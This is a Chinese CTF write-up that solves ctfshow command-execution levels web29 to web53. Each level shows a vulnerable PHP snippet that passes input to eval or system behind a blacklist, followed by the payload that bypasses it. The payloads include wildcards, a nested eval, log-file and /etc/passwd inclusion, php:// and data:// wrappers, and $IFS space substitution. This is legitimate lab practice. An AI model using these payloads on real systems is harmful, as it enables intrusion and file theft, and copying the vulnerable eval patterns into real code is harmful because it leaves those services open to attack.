命令执行刷题

q

前言

在刷命令执行的题目之前,建议先仔细阅读一下这篇文章:CTF中常见RCE命令执行绕过技巧

ctfshow-web29

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

首先 ?c=system('ls');查看当前目录下的文件,发现了flag.php

由于题目所限,可以使用通配符来绕过?c=system(%27cat%20./fla?.php);,右键查看源码得到flag

ctfshow-web30

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

使用另一个可以执行外部命令的函数来代替system函数,但是要注意exec函数只能返回最后一行的数据,这边使用的passthru函数

?c=passthru('ls');:得到当前目录下的文件

?c=passthru('cat ./fla*');:邮件查看源码得到flag

ctfshow-web31

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

从所提供的代码里面不难知道只检查变量c内的内容,所以我们可以再嵌套一个eval函数来绕过

?c=eval($_GET[cmd]);&cmd=system('ls');:得到当前目录下的文件名

?c=eval($_GET[cmd]);&cmd=system('cat flag.php');:右键查看源码得到flag

ctfshow-web32&33&34&35&36

几道题之前的区别无非就是黑名单的内容,但是都可以用以下两种方式来绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

来个非预期

首先尝试一下能不能文件包含,?c=include$_GET[a]?>&a=/etc/passwd,读取成功,可以文件包含

通过响应头得知为nginx,所以日志文件位于/var/log/nginx/access.log,成功读取,然后我们便可以利用日志文件来进行文件包含,具体操作如下图所示:

image-20240330211752835

接下来就是读取文件,得到flag

当然上面由于日志文件的原因在实际操作中比较少见,所以再来个预期解

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

ctfshow-web37&38

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

第一种

利用include来进行日志包含,得到flag

第二种

利用php伪协议,如下

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAnKTs/Pg==:得到当前目录下的文件名

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==:得到flag

ctfshow-web39

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

看到.php位于include函数,最开始想着是把它给注释掉,用//,然后使用伪协议来绕过,但是当一切的代码都base64编码后很奇怪地没有起作用,于是我就直接不编码,直接运行,成功了,如下

?c=data://text/plain,<?php system('cat fla?.php');?>//:查看源码得到flag

但是查看源码的时候发现后面的.php并没有被注释掉,尝试去掉注释符发现还是可以,查看源码.php直接为html所显示的内容

查看题解得知include函数只会执行<?php?>里面的内容

ctfshow-web40

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

不会做,查看题解

法一

c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system(‘tac fl*’);

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

法二

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动

ctfshow-web42

1
2
3
4
5
6
7
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

>/dev/null 2>&1将标准输出和标准错误重定向到 /dev/null,这样就会忽略这些输出,不会显示在页面上,并且这个也是访问不了的

使用 “ ; “ “ || “ “ & “ “ && “ 分隔

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

get传参的话&需要进行编码

?c=ls;:查看当前目录下的文件

?c=cat flag.php;:查看源码得到flag

ctfshow-web43

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤掉了cat函数,所以我们就是用tac函数来打印文件内容

剩下的跟上题操作一样

ctfshow-web44

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

这题读取文件函数用tac,flag.php文件用通配符来代替,剩下步骤与上题一致

ctfshow-web45(替代空格)&46&47&48&49

几题之间的差别就是黑名单的不同,但是都可以用以下操作实现绕过

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

%09或者$IFS$9来替代空格,其实就是tab的url编码形式,但是直接按tab键会使光标跳到分隔符之后或者跳在历史记录中的下一条记录

剩下操作与前面无差

web-50&web51

web50

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

这题可以拿来替代空格的式子全部都被过滤掉了,所以我们需要另辟蹊径

上网查阅可知<,<>也是可以替代空格的,所以我们可以构造出这样的payload:?c=tac<fla''g.php||

web51

这道题多过滤了一个tac,但是问题不大,已知ca''t依然可以起到本该有的作用

所以构造payload为:?c=ta''c<fla''g.php||

web-52&web-53

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

这题我们就需要另一种式子来替代空格,即$IFS

除了这个外该题还有一个坑,就是直接ls的话你会看到一个flag文件,但是打印的时候打印不出flag,其实真正的flag存在根目录处

payload为:?c=ca\t$IFS/fla''g||,得到flag

web-53

这题只需要替代空格的式子改为${IFS}便可以了,但是不知道为什么$IFS这个不行,猜测可能是其字母会和后面的文件名混起来,起不到作用